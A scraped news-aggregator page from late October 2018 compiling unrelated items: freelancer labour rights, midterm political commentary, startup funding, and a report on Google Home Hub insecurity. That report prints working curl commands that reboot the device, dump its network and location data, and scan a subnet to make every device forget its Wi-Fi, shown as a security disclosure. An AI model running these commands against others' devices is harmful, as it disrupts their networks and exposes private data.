By THE ASSOCIATED PRESS from NYT U.S. https://ift.tt/2DeMFjE
Wednesday, 31 October 2018
Protesters Rally Against Trump’s Visit to Pittsburgh
By THE ASSOCIATED PRESS from NYT U.S. https://ift.tt/2DeMFjE
Freelancers rights come of age as gig economy booms
Gig workers, freelancers, sharing economy workers — call them what you want to, but the millions who drive you around in Lyfts, drop off your Seamless delivery or work on piecemeal projects from home have become a staple of the American workforce — and their numbers are only set to grow.
A report out today says 56.7 million Americans worked as freelancers in the last year. That is more than 1 out of 3 of the entire labor force.
For full-time employees, a whole array of protections exists to make sure they get paid, are not discriminated against and retain some income if they lose their jobs. From federal employment laws to state laws and city ordinances, employees have recourse for wrongdoing by employers. But for the fast-growing segment of Americans working as freelancers, little to no legal protections exist.
That’s beginning to change. From a modern take on labor unions in the shape of the Freelancers Union to legal tech startups trying to provide freelancers with simple and accessible contracts that protect their rights, freelancer protections are slowly catching up to the incredible growth that the gig economy has seen over the past few years.
Who is freelancing?
The Freelancers in America Study published today provides a window into who’s doing all the gig jobs around. Jointly commissioned by the Freelancers Union, which has more than 400,000 members nationwide, and Upwork, the largest freelancing website, the study is now in its fifth edition.
It found that freelancers live all across the United States, more than 40% of them are younger than 35 and almost two thirds of them found their work online. At the current rate of growth, we can expect the majority of the US workforce to freelance within less than a decade.
For the most part, the study found that freelancers are content with their work. More than half of those surveyed said that no amount of money would get them to take a traditional job. Compared to non-freelancers, freelancers have a better work/life balance and more control over their schedule, resulting in less stress and better health.
Yet, unlike their traditional full-time counterparts, freelancers disproportionately worry about whether they’re going to get paid for the work they complete, and how they can pursue claims for payment if they don’t. Nearly 70% of freelancers have struggled to collect payment for work they’d completed.
Protecting freelancers
This is where organizations like the Freelancers Union come in. Unlike traditional unions, membership in the Freelancers Union is free — with grants from various donors and fees from offering insurance plans covering the Union’s costs. While membership in traditional private-sector unions peaked in the 1970s and has been in a steady decline since, the Freelancers Union has seen steady growth since it was founded in 1995 and is currently growing at a rate of 1,000 new members a week.
Caitlin Pearce, the union’s Executive Director, tells me that freelancers deal with a fundamental power imbalance. With less than a fourth of them using a contract to protect their rights, they are often left at the mercy of the employer. “Freelancers are basically cut off from all the workplace protections that have become commonplace,” she explained.
In response to the concerns of its members, the Union has been advocating for timely payment by employers, access to affordable health care and more income predictability.
Last year, the Union led a successful advocacy drive to pass the “Freelance Isn’t Free Act” by the New York city council. Under this act, businesses hiring freelancers in New York City are required to use a contract, must pay within 30 days of the work being complete, and freelancers can file a claim with the city to resolve issues they have with businesses. If the claim is successful, then businesses have to pay freelancers double the damages, in addition to the freelancer’s attorney fees.
Serious challenges remain. Even the act itself can’t protect workers who work remotely from as close as New Jersey for businesses based in New York. Effective protections need state and federal level laws, but Pearce says that even within New York State they found little appetite for legislation to protect freelancers’ rights.
For now, the Freelancers Union is doubling down on their municipal strategy, advocating for other cities where many freelancers are based to adopt ordinances similar to the one passed in New York.
Pearce says they’ve started to gain traction in Philadelphia and Madison, and are using the New York campaign as a model. New York showed the Union the widespread support they can galvanize for freelancer rights. From traditional labor unions to WeWork and Kickstarter, a wide range of groups came together to support passing the act. In the end, it passed unanimously, with all 51 New York City council members, including three Republicans, supporting it.
“It’s just a common sense law, if you do work you deserve to be paid,” stresses Pearce. The hope now is that same common sense can prevail in other cities, states and eventually federally.
The startup approach
Protections for freelancers are not only coming from union-like organizations. Some legal tech startups are working to provide more affordable contract services directed specifically at freelancers and small businesses.
Gina Pak and Liam Moriarty met during their time at Columbia Law School, and at first followed the typical attorney route of working for high-powered New York law firms. But a few years into their law careers, they both quit their jobs, packed up their Upper West Side apartment and moved out to Los Angeles to co-found Lawgood.
Pak and Moriarty had found that bad contracts in the US were giving rise to more than 12 million lawsuits every single year, costing the national economy more than $600 billion. Freelancers and small businesses can’t afford attorney fees, and so choose to write their own risky contracts, or go without a contract at all, leading to lawsuits when things inevitably go awry.
Instead, Lawgood provides an online service, where freelancers and businesses can upload any contract they have questions about and get feedback for the fraction of the cost of hiring an attorney.
Then, the company’s system combines a network of carefully vetted lawyers with artificial intelligence technology designed to detect potential problems in the contract. Each user gets a marked-up contract that provides notices of potential issues, simplified explanations of complex wording, and suggestions on how to negotiate.
Pak tells me that as things currently stand, “laws are just inadequate when it comes to protecting freelancers and are not keeping up with the times.” A well-drafted contract can protect both the freelancer and the company that hires them. But in her experience, even the word contract has a bad rep. “It’s a pain point that people just don’t want to go through, and some freelancers are even hesitant to ask for a contract because they don’t want to signal a lack of trust in the person hiring them.”
This means that for Lawgood, apart from enabling freelancers to get affordable, easy to understand contracts, they have to advocate for behavior change. They have to convince freelancers that contracts are one of the most effective communication tools if written well. “Don’t think of it as distrust,” encourages Pak, “but a tool for both sides to succeed and be clear on expectations.”
What does the future hold for supporting freelancers’ rights?
While organizations like the Freelancers Union and startups like Lawgood offer some hope for freelancers, it’s clear that more national level protections are needed to make sure freelancers aren’t taken advantage of.
In that sense, the Freelancers in America Study offers some important clues as to why politicians everywhere should be paying more attention to freelancers. Apart from the fact that they already represent more than 1 out of 3 American workers, the study showed that freelancers are 19 points more politically active than non-freelancers.
Even more strikingly, a whopping 72% of freelancers said they’d be willing to cross party lines to vote for candidates who support freelancers’ rights.
Pearce says one of the best outcomes from publishing the study is quantifying the number of freelancers, a loose and dispersed constituency that had not been properly counted before. The hope now is that their size, level of political engagement and willingness to cross party lines, will lead to politicians taking on their cause and eventually pass legislation protecting their rights. Until that happens, freelancers should push for contracts that protect them and join groups like Freelancers Union to amplify their voices.
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California Today: What Our Live Polling Results Say About California
By JOSE A. DEL REAL and INYOUNG KANG from NYT U.S. https://ift.tt/2qjHiqP
Haberman: Trump Thinks A Dysfunctional Dem Congress Will Be Good For Him
CNN's John Berman asked Times reporter Maggie Haberman if the White House was ready for a Democratic House after the mid-term elections.
She pointed out there was a difference between what White House staff will figure out, and what Trump is going to do.
"You have seen an early discussion of this, Democrats and some of the White House were looking at what can they work on together to make the White House not look terrible and make the Democrats look like all they are doing is attacking, and I think it will be hard for the House Freedom Caucus and the president's base," she said.
"At the end of the day, the Democratic base is not going to go for that, so I think what you have next is the president saying to people, this is good for me, I have a dysfunctional congress, which is what they assume will ultimately be what it looks like, but just in terms of getting anything done, including possibly a budget, he believes that a divided government could be useful for him, whether that reality is the case."
"Just in terms of having another target -- "
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Hell Yes, The Dems Have A Message!
I actually threw my arms in the air and yelled, "THANK YOU!!!" at the TV Tuesday. Then I rewound and listened to it again, just because the words were so sweet to hear. So unusual, so validating, so true. They came out of Nicolle Wallace's mouth on Deadline White House, while she and her panel discussed Joe Biden campaigning for the Dems.
WALLACE: The Democratic message, and I think it was a real mistaken national media frame that there wasn't one, there HAS been one all along. It's been focused on the issues.
I could barely believe my ears. I've been saying this for years - begging people to stop bashing the Dems for having no message. Their message all along has been the issues. Health care. Voting rights. Health care. Immigration. Reproductive rights for women. Health care. Putting a stop to corporate welfare. The economy. Education. Health care. You name it. They are campaigning on ISSUES that matter to people.
Wallace later praised the Dems for the intensity of their work. She said, "...the Democrats seem to have taken the last two years to do more than I think some people gave them credit for doing. They seem to have addressed the asymmetry in president trump's political tactics...some of these candidates have really figured out how to run against trump and trumpism."
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First Up if Democrats Win: Campaign and Ethics Changes, Infrastructure and Drug Prices
By NICHOLAS FANDOS from NYT U.S. https://ift.tt/2qknKCD
$1.2 Million Homes in California, Georgia and New York
By JULIE LASKY from NYT Real Estate https://ift.tt/2Pzng9Q
Review: The Revelatory Early Works of Lucinda Childs at MoMA
By ALASTAIR MACAULAY from NYT Arts https://ift.tt/2SwPn8h
Kanye West Says He’s Quitting Politics. We’ll See.
By DANIEL VICTOR from NYT U.S. https://ift.tt/2OgNNnS
Bomb Suspect Planned His Campaign for More Than Three Months, Court Papers Say
By ALAN FEUER, WILLIAM K. RASHBAUM and BENJAMIN WEISER from NYT New York https://ift.tt/2Qa9IP5
The Google Home Hub is deeply insecure
Security advocate Jerry Gamblin has posted a set of instructions – essentially basic lines of XML – that can easily pull important information off of the Google Home Hub and, in some cases, temporarily brick the device.
The Home Hub, which is essentially an Android tablet attached to a speaker, is designed to act as an in-room Google Assistant. This means it connects to Wi-Fi (and allows you to see open Wi-Fi access points near the device), receives video and photos from other devices (and broadcasts its pin), and accepts commands remotely (including a quick reboot via the command line).
The command – which consists of a simple URL call via the command line – is clearly part of the setup process. You can try this at home if you replace “hub” with the Home Hub’s local IP address.
curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot
Other one-liners expose further data, including a number of micro services:
$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}
Finally, this line causes all devices on your network to forget their Wi-Fi, forcing you to reenter the setup process.
nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi
As Gamblin notes, these holes aren’t showstoppers but they are very alarming. Allowing unauthenticated access to these services is lazy at best and dangerous at worst. He also notes that these endpoints have been open for years on various Google devices, which means this is a regular part of the code base and not considered an exploit by Google.
Again, nothing here is mission critical – no Home Hub will ever save my life – but it would be nice to know that devices based on the platform have some modicum of security, even in the form of authentication or obfuscation. Today we can reboot Grandpa’s overcomplicated picture frame with a single line of code but tomorrow we may be able to reboot Grandpa’s oxygen concentrator.
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Zuckerberg gets joint summons from UK and Canadian parliaments
Two separate parliamentary committees, in the UK and Canada, have issued an unprecedented international joint summons for Facebook’s CEO Mark Zuckerberg to appear before them.
The committees are investigating the impact of online disinformation on democratic processes and want Zuckerberg to answer questions related to the Cambridge Analytica-Facebook user data misuse scandal, which both have been probing this year.
More broadly, they are also seeking greater detail about Facebook’s digital policies and information governance practices — not least, in light of fresh data breaches — as they continue to investigate the democratic impacts and economic incentives related to the spread of online disinformation via social media platforms.
In a letter sent to the Facebook founder today, the chairs of the UK’s Digital, Culture, Media and Sport (DCMS) committee and the Canadian Standing Committee on Access to Information, Privacy and Ethics (SCAIPE), Damian Collins and Bob Zimmer respectively, write that they intend to hold a “special joint parliamentary hearing at the Westminster Parliament”, on November 27 — to form an “‘international grand committee’ on disinformation and fake news”.
“This will be led by ourselves but a number of other parliaments are likely to be represented,” they continue. “No such joint hearing has ever been held. Given your self-declared objective to “fix” Facebook, and to prevent the platform’s malign use in world affairs and democratic process, we would like to give you the chance to appear at this hearing.”
Both committees say they will be issuing their final reports into online disinformation by the end of December.
The DCMS committee has already put out a preliminary report this summer, following a number of hearings with company representatives and data experts, in which it called for urgent action from government to combat online disinformation and defend democracy — including suggesting it look at a levy on social media platforms to fund educational programs in digital literacy.
Although the UK government has so far declined to seize on the bulk of the committee’s recommendations — apparently preferring a ‘wait and gather evidence’ (and/or ‘kick a politically charged issue into the long grass’) approach.
Meanwhile, Canada’s interest in the democratic damage caused by so-called ‘fake news’ has been sharpened by AIQ, the data company linked to Cambridge Analytica, as one of its data handlers and system developers — and described by CA whistleblower Chris Wylie as essentially a division of his former employer — being located on its soil.
The SCAIPE committee has already held multiple, excoriating sessions interrogating executives from AIQ, which have been watched with close interest by at least some lawmakers across the Atlantic…
At the same time the DCMS committee has tried and failed repeatedly to get Facebook’s CEO before it during the course of its multi-month inquiry into online disinformation. Instead Facebook despatched a number of less senior staffers, culminating with its CTO — Mike Schroepfer — who spent around five hours being roasted by visibly irate committee members. And whose answers left it still unsatisfied.
Yet as political concern about election interference has stepped up steeply this year, Zuckerberg has attended sessions in the US Senate and House in April — to face (but not necessarily answer) policymakers’ questions.
He also appeared before a meeting of the EU parliament’s council of presidents — where he was heckled for dodging MEPs’ specific concerns.
But the UK parliament has been consistently snubbed. At the last, the DCMS committee resorted to saying it would issue Zuckerberg with a formal summons the next time he stepped on UK soil (and of course he hasn’t).
They’re now trying a different tack — in the form of a grand coalition of international lawmakers. From two — and possibly more — countries.
While the chairs of the UK and Canadian committees say they understand Zuckerberg cannot make himself available “to all parliaments” they argue Facebook’s users in other countries “need a line of accountability to your organisation — directly, via yourself”, adding: “We would have thought that this responsibility is something that you would want to take up. We both plan to issue final reports on this issue by the end of this December, 2018. The hearing of your evidence is now overdue, and urgent.”
“We call on you to take up this historic opportunity to tell parliamentarians from both sides of the Atlantic and beyond about the measures Facebook is taking to halt the spread of disinformation on your platform, and to protect user data,” they also write.
So far though, where non-domestic lawmakers are concerned, it’s only been elected representatives of the European Union’s 28 Member States who have proved to have enough collective political clout and pulling power to secure a little facetime with Zuckerberg.
So another Facebook snub seems the most likely response to the latest summons.
“We’ve received the committee’s letter and will respond to Mr Collins by his deadline,” a Facebook spokesperson told us when asked whether it would be despatching Zuckerberg this time.
The committee has given Facebook until November 7 to reply.
Perhaps the company will send its new global policy chief, Nick Clegg — who would at least be an all-too familiar face to Westminster lawmakers, having previously served as the UK’s deputy PM.
Even if Collins et al’s latest gambit still doesn’t net them Zuckerberg, the international coalition approach the two committees are now taking is interesting, given the challenges for many governments of regulating global platforms like Facebook whose user bases can scale bigger than some entire nations.
If the committees were to recruit lawmakers from additional countries to their joint hearing — Myanmar, for example, where Facebook’s platform has been accused of accelerating ethnic violence — such an invitation might be rather harder for Zuckerberg to ignore.
After all, Facebook does claim: “We are accountable.” And Zuckerberg is its CEO. (Though it does not state who exactly Facebook/Zuckerberg feels accountable to.)
While forming a joint international committee is a new tactic, UK and Canadian lawmakers and regulatory bodies have been working together for many months now — as part of their respective inquiries and investigations, and as they’ve sought to unpick complex data trails and understand transnational corporate structures.
One thing is increasingly clear when looking at the tangled web where politics and social media collide (with mass opinion manipulation the intended outcome): The interconnected, cross-border nature of the Internet, when meshed with well-funded digital political campaigning — and indeed buckets of personal data, is now placing huge strain on traditional legal structures at the nation-state level.
National election laws reliant on regulating things like campaign spending and joint working, as the UK’s laws are supposed to, simply won’t work unless you can actually follow the money and genuinely map the relationships.
And where use of personal data for online political ad-targeting is concerned, ethics must be front and center — as the UK’s data watchdog has warned.
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Handshake, a LinkedIn for university students and diversity, raises $40M on a $275M valuation
LinkedIn has created and — with 562 million users — leads the market in social platforms for people who want to network with others in their professions, and look for jobs. Now a startup that hopes to take it on in a specific niche — university students and recent grads, with a focus on diversity and inclusion — has raised a substantial round to grow. Handshake, a platform for both students looking to take their early career steps and employers who want to reach them, has raised $40 million in a Series C round of funding, after hitting 14 million users in the U.S. across 700 universities, and 300,000 employers targeting them.
The company is now valued at $275 million post-money, according to figures from PitchBook, a big leap on its valuation at the Series B stage two years ago, when it was valued at $108 million.
The funding is notable not just for that valuation hike — and the implication that many think it could give Microsoft-owned LinkedIn a run for its money among 20-somethings — but for who is doing the backing.
The round was led by EQT Ventures, the investment arm of European holding company and PE firm EQT, with participation also from several investment organizations that have put a focus on backing interesting startups in the education sphere, including the Chan Zuckerberg Initiative, Omidyar Network, Reach Capital; as well as True Ventures, Kleiner Perkins, Lightspeed Venture Partners, Spark Capital and KPCB Edge. Several of these are repeat investors and the total raised by Handshake — not to be confused with the B2B e-commerce platform of the same name — to $74 million.
To date, Handshake has only been active in the U.S. The company was founded in 2014 originally named Stryder by three graduates of the University of Michigan — Garrett Lord (currently the CEO), Scott Ringwelski (CTO) and Ben Christensen (a board member). The plan is to use the new funding to expand into more markets like Europe, using EQT’s network of businesses in the region to help it along.
LinkedIn has been making a lot of efforts over the years to court younger users and bring them into the LinkedIn fold earlier.
In 2013, the company lowered its minimum age for users to 13 and launched dedicated pages for universities. In 2014, LinkedIn started to add in more tools for younger users to connect with universities and their university-related networks on the platform. And through various e-learning efforts, LinkedIn has been trying to create a bridge between the kind of learning you might do at university, and what you might do after you leave to further your career.
The behemoth also started to take baby steps into providing more insights into diversity for those doing hiring, by letting recruiters examine search results by gender; and by providing bigger insights into the wider pool of people on LinkedIn.
Part of the reason for the baby steps, I’m guessing, is that LinkedIn simply lacks the data from its users to do more faster, and so that leaves a lot of room for a rival to step in.
In that vein, it seems Handshake is trying to position itself as a platform that is considering and thinking about how to address diversity from the ground up, as a native part of its platform while it is still small and growing.
One of the ways that Handshake gets more details about its members is through its partnerships with universities, which helps to populate information about their profiles, rather than relying on a person filling out the details manually. (To register for an account, you use your university address, similar to how Facebook worked when it first launched.)
Handshake also has relationships with more than 100 minority-serving institutions, which include Historically Black Colleges and Universities, and Hispanic Serving Institutions in the U.S., to bring them and their students more closely into that fold.
On the side of employers, it includes more search features for recruiters to search using more specific parameters in the effort to make more diverse hiring choices. “Candidates who might not have the right connections or privileged background can get in front of Fortune 500 companies,” the company notes.
“Our Handshake community is tackling the so-called ‘pipeline problem’ head on. Skilled students are on every campus in every corner of the country and we’re proud to help employers discover, recruit and hire up-and-coming talent from all backgrounds,” said Garrett Lord, Handshake Co-Founder and CEO, in a statement. “Students around the world experience the same inequality in the recruiting process, so we’re excited to partner with Alastair Mitchell” — the EQT partner leading the investment — “and EQT Ventures to expand our impact beyond the United States.”
That’s not to say that inclusion and diversity are the only issues that Handshake is tackling.
The company cites a 2018 Strada-Burning Glass Study that says more than 43 percent of graduates are underemployed — either not earning their full potential, or doing a job that doesn’t utilise their skills — in their first job out of college . “Of those who graduate underemployed, 50% remain underemployed 10 years after graduation.” There is, in other words, a big employment gap specifically with recent grads, and while many will land plum positions, many others flail, and the idea is that Handshake will help specifically to address that by improving how well people are matched to positions that are open.
This is, in fact, an interesting counterpoint to the fact that we also have a lot of ageism in certain fields, where older people are often overlooked — perhaps another niche market that is ripe for tackling?
Handshake today makes money much in the same way that LinkedIn does: it offers paid usage tiers for its users to unlock more features. In the startup’s case, a Premium employer tier called the Talent Engagement Suite was recently launched to let organizations search by diversity parameters and other more specific criteria. That appears to be the path that Handshake plans to follow going ahead, doubling its team to 200 with more people in product and engineering roles to build out more analytics and search and recommendations algorithms.
It’s also making some key hires for the next age. Christine Y. Cruzvergara, ex-Associate Provost and Executive Director for Career Education at Wellesley College, is joining as VP of Higher Education and Student Success, to work with institutions precisely on more inclusive initiatives and products.
“CZI is thrilled to support Handshake as it connects talented students to career opportunities that enable them to reach their full potential,” said Vivian Wu, Managing Partner of Ventures at the Chan Zuckerberg Initiative, in a statement. “Handshake’s approach – expanding access, building student community and support, and showcasing accomplishments beyond college and degree – produces real results, especially for young people from communities that haven’t had access to high quality job and life opportunities.”
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Apple pulls WatchOS 4.1 update after it bricked some Apple Watches
PSA: If you’re an Apple Watch owner who is having trouble finding the shiny new WatchOS 4.1 update that Apple just shipped, it isn’t quite ready yet.
Apple initially shipped the update on Tuesday alongside iOS 12.1, but it quickly pulled it hours later following reports that it bricked some Series 4 watches. A number of customers affected took to Reddit and Twitter to warn of the issues, which were first reported by 9to5Mac and caused some watches to be stuck on the loading screen.
The update is no longer available, but Apple told those who did download it and now have bricked a watch that it is working on a fix that’ll ship as soon as possible.
“Due to a small number of Apple Watch customers experiencing an issue while installing watchOS 5.1 today, we’ve pulled back the software update as a precaution,” it said in a statement. “Any customers impacted should contact AppleCare, but no action is required if the update installed successfully. We are working on a fix for an upcoming software update.”
The Watch drama comes less than 24 hours after Apple unveiled a new and larger version of the iPad Pro and a revamped MacBook Air model at an event in New York. Other goodies revealed included a new Mac Mini, a magnetic Apple Pencil and an expansion to its ‘Today at Apple’ program. Next up is the company’s earnings on Thursday, although affected Watch owners will hope that the patched WatchOS update arrives sooner.
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Mike's Blog Round Up
With less than a week to go until election day, remember that every Republican must go -- vote against them all. Even if an individual Republican seems decent and doesn't personally support the party's bigotry, theocracy, and kleptocracy, by the very act of running as Republican they are signalling that they regard gay equality, minority voting rights, women's reproductive freedom, Social Security, Medicare, millions of people's health insurance, and separation of church and state as acceptable casualties in the cause of whatever Republican policies they do run on. They are still a threat, still part of the problem.
Kiko's House: Fox News is a major toxic force in our politics. It's past time to start putting pressure on its advertisers.
Darwinfish 2: "Elections should be about the triumph of ideas; not about who can set up the best obstacle course for his opponent."
We Hunted the Mammoth: There's a new whacked-out wingnut artist on the scene.
Queerloween: This election is not about choosing the lesser of two evils.
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The Democrats’ Closing Argument: Community Over Cruelty
Ever since Donald Trump infamously descended that escalator and talked about Mexicans as rapists -- and became the Republican frontrunner as a result -- our country has moved more and more in the direction of bigotry, cruelty, and chaos. Now, as we say in the Midwest, the chickens are coming home to roost. Mail bombs, the cold-blooded execution of two black men, and the horrific shooting at the synagogue in Pittsburgh, all in the closing weeks of the midterms, sending us a signal of what is to come if we lose this election. It is time to put a stop to this madness, and the only way to do that is for Democrats to win.
President Trump denies responsibility, but he and his party are running hysterical ads attacking wealthy Jews as puppeteers, migrant armies marching on our border, and Democrats as assassins. The right-wing media, the same outlets lovingly quoted by Trump, are infested with one conspiracy theory after another -- that the “bomb” (quotation marks from Trump himself) and the synagogue shooting were hoaxes perpetrated by liberals; that George Soros is paying for the caravan; that Democrats will start killing ministers if they win control of Congress; and that the media publish fake news because they are the “true enemy of the people."
The Grand Old Party has become the party of the neo-Nazis and conspiracy theorists. It is no wonder that we have crazy Trump supporters killing people or trying to. It feels like our country is coming apart at the seams, and it is up to Democrats to bring us back together.
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Steve Bannon Draws Mega Crowd Of 17 In Topeka
Ostensibly a rally in support of Steve Watkins, a Republican running in Kansas' Second Congressional District. Except for one small detail: the Watkins campaign said they had nothing to do with the "rally". Those gathered said “they were notified by unsolicited text messages."
And even though Kansas' Second district is quite red (Lynn Jenkins old district), it is expected that Democrat Paul Davis could very well win. Bannon's last-minute ridiculous parachuting in to "help" probably won't.
Source: The Pitch
The rally was held in support of Steve Watkins, a Republican running against Democrat Paul Davis in Kansas' Second Congressional District. Watkins has shamelessly lied about his previous business experience and is such a weak candidate that even Kansas Republicans are iffy on him. (This being Kansas, though, he could easily win.)
According to Smith, approximately 17 people showed up at the Holiday Inn. Bannon said some things, such as:
-He's concerned the GOP base won't show up in Kansas.
-Voters need to "get over any handwringing about electing a RINO" (such as Watkins apparently?). Notable, given that around this time last year, Bannon was "declaring war" on the Republican establishment.
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Bomb Explodes at Russian Security Agency, Wounding 3 Workers
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‘Cold War’ Takes New Meaning for U.S. Marines at a NATO Exercise
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The Trump Effect, Kobach’s Hand, Tester and DeWine Ads: 6 Days to Go
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Chat app Line’s games business raises $110M for growth opportunities
Messaging app firm Line has given up majority control of its Line Games business and raised outside financing as it seeks to expand its collection of games titles and look at global expansion options.
The Line Games business was formed earlier this year when Line merged its existing gaming division from NextFloor, the Korea-based game publisher that it acquired in 2017. Now the business has taken on capital from Anchor Equity Partners, which has provided 125 billion KRW ($110 million) in financing via its Lungo Entertainment entity, according to a disclosure from Line.
A Line spokesperson clarified that the deal will see Anchor acquire 144,743 shares to take a 27.55 percent stake in Line Games. It looks like those are from existing investors since Line Corp confirmed that its own shareholding will be reduced from 57.6 percent to a minority 41.73 percent stake.
Korea-based Anchor is best known for a number of deals in its homeland including investments in e-commerce giant Ticket Monster, Korean chat giant Kakao’s Podotree content business and fashion retail group E-Land.
Line operates its eponymous chat app which is the most popular messaging platform in Japan, Thailand and Taiwan, and also significantly used in Indonesia, but gaming is a major source of income. This year to date, Line has made 28.5 billion JPY ($250 million) from its content division, which is primarily virtual goods and in-app purchases from its social games. That division accounts for 19 percent of Line’s total revenue, and it is a figure that is only better by its advertising unit, which has grossed 79.3 billion JPY, or $700 million, in 2018 to date.
The games business is currently focused on Japan, Korea, Thailand and Taiwan, but it said that the new capital will go towards finding new IP for future titles and identifying games with global potential. It is also open to more strategic deals to broaden its focus.
While Line has always been big on games, Line Games isn’t just building for its own service. The company said earlier this year that it plans to focus on non-mobile platforms, which will include the Nintendo Switch among others consoles.
That comes from the addition of NextFloor, which is best known for titles like Dragon Flight and Destiny Child. Dragon Flight has racked up 14 million users since its 2012 launch, at its peak it saw $1 million in daily revenue. Destiny Child, a newer release in 2016, topped the charts in Korea and has been popular in Japan, North America and beyond.
Line went public in 2016 via a dual U.S.-Japan IPO that raised over $1 billion.
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Three days left to save big on Disrupt Berlin 2018 tickets
The early-bird clock is winding down, and you have just three days left to save up to €500 on passes to Disrupt Berlin 2018. You’d be cuckoo to miss this deal (pun intended). The early-bird price flies away on 2 November, and your savings fly with it. Don’t miss out on the best possible price. Buy your ticket today.
Disrupt Berlin 2018, which takes place on 29-30 November, provides incredible opportunities, and one of them is the chance to hear some of the most brilliant minds in the startup, technology and investment worlds speaking on our Main Stage. We keep expanding our roster of outstanding speakers and presentations, and you can keep tabs on updates on the full Disrupt Berlin agenda. Here’s a quick sample of what we have in store for you:
- When is e-commerce not exactly e-commerce? When it’s Threads, a unique luxury fashion shopping experience driven by chat apps and actual human shopping assistants. We’re thrilled that founder Sophie Hill, who recently closed a $20 million round of funding, will join us in Berlin to talk about her innovative vision of luxury shopping.
- Babbel is a European success story and the top-grossing language learning app in the world. Sit in with Julie Hansen and Markus Witte to hear how the company plans to take on its next challenge, the United States.
- The auto industry’s in overdrive, and everyone’s working on the car of the future — that perfect combination of automation, connectivity, electric motors and mobility services. Join Laurin Hahn (Sono Motors) and Ole Harms (MOIA) to hear their perspective on who has the edge — startups or car giants in the process of reinventing themselves?
These great Main Stage talks often lead to even more questions, and that’s why we created Q&A Sessions. These smaller, more intimate, 45-minute moderated discussions give attendees the opportunity to ask follow-up questions and go deeper on crucial technologies and emerging trends.
Of course, Disrupt offers more than the chance to listen and learn. Network with more than 400 early-stage startups in Startup Alley, and don’t forget to use CrunchMatch — our free business match-making service. It makes connecting with the right people fast and efficient.
Take in the adrenaline ride that is Startup Battlefield. Watch as exceptional startups launch their companies to the world and compete for $50,000 cash, the coveted Disrupt cup and investor love.
Disrupt Berlin 2018 takes place on 29-30 November, and we hope you’ll join us at the best possible price. You have until 2 November to save up to €500 and be an early bird, not a cuckoo bird. Go buy your ticket and come to Berlin!
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KKR’s latest Southeast Asia bet is a $144M investment in PropertyGuru
Global investment giant KKR is warming up to Southeast Asia after it made a third high-profile investment. The firm — which has nearly $150 billion in assets under management — has cut a SG$200 million (US$144 million) check for PropertyGuru, the region’s largest property listings group.
Founded in 2006, PropertyGuru operates rental and sale listing sites in Singapore, Malaysia, Indonesia and Thailand. Prior to today’s deal (its Series D), its most recent investment came in 2015, when it raised SG$175 million from backers including TPG and Australia’s Square Peg. This new financing takes it to SG$440 million (or around $320 million) thus far. You’d imagine that the deal values PropertyGuru at/above $1 billion — the much-vaunted unicorn milestone — but the company has declined to reveal its valuation at this point.
It isn’t talking about its valuation, but PropertyGuru CEO Hari V. Krishnan did say in a statement, however, that the company is profitable, cash flow positive and seeing revenue grow at 25 percent per year. The firm claims to have a dominant 55 percent market share in the countries it operates in and it is actively working to expand that reach in Southeast Asia, a region of over 600 million consumers which has more internet users than the population of the U.S.
Indeed, in tandem with the funding news, PropertyGuru said it has completed the buyout of Vietnam-based property portal Batdongsan.com.vn, which it claims is the country’s largest property portal with over four million unique visitors per month. The site will join PropertyGuru’s collection of business through the deal, which is undisclosed and follows a strategic investment back in 2016.
Singapore is one of five markets in Southeast Asia where PropertyGuru operates
For KKR, this investment in the latest in a series of early bets that the firm has made on digital startups in Southeast Asia. The firm has put money into Indonesian ride-sharing giant Go-Jek, which is backed by the likes of Tencent and Google and now said to be worth $9 billion, and Philippines-based fintech venture Voyager, which is also backed by Tencent following a recent $175 million deal. It also invested in Thailand-based e-commerce enabler aCommerce via its Emerald Media fund last year.
In a statement, KKR’s head of Southeast Asia, Ashish Shastry, paid tribute to PropertyGuru which he said has “clearly established itself as the Southeast Asian champion in the online property space.”
PropertyGuru is not alone in digitizing real estate, and its rivals in Southeast Asia include iProperty, a business that’s listed on the ASX in Australia and Singapore-based startup 99.co — which counts Facebook co-founder Eduardo Saverin among its backers and had a litigation battle with PropertyGuru. There, of course, plenty of single-market businesses that operate across various Southeast Asian countries.
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Brex has partnered with WeWork, AWS and more for its new rewards program
Brex, the corporate card built for startups, unveiled its new rewards program today.
The billion-dollar company, which announced its $125 million Series C three weeks ago, has partnered with Amazon Web Services, WeWork, Instacart, Google Ads, SendGrid, Salesforce Essentials, Twilio, Zendesk, Caviar, HubSpot, Orrick, Snap, Clerky and DoorDash to give entrepreneurs the ability to accrue and spend points on services and products they use regularly.
Brex is lead by a pair of 22-year-old serial entrepreneurs who are well aware of the costs associated with building a startup. They’ve been carefully crafting Brex’s list of partners over the last year and say their cardholders will earn roughly 20 percent more rewards on Brex than from any competitor program.
“We didn’t want it to be something that everyone else was doing so we thought, what’s different about startups compared to traditional small businesses?” Brex co-founder and chief executive officer Henrique Dubugras told TechCrunch. “The biggest difference is where they spend money. Most credit card reward systems are designed for personal spend but startups spend a lot more on business.”
Companies that use Brex exclusively will receive 7x points on rideshare, 3x on restaurants, 3x on travel, 2x on recurring software and 1x on all other expenses with no cap on points earned. Brex carriers still using other corporate cards will receive just 1x points on all expenses.
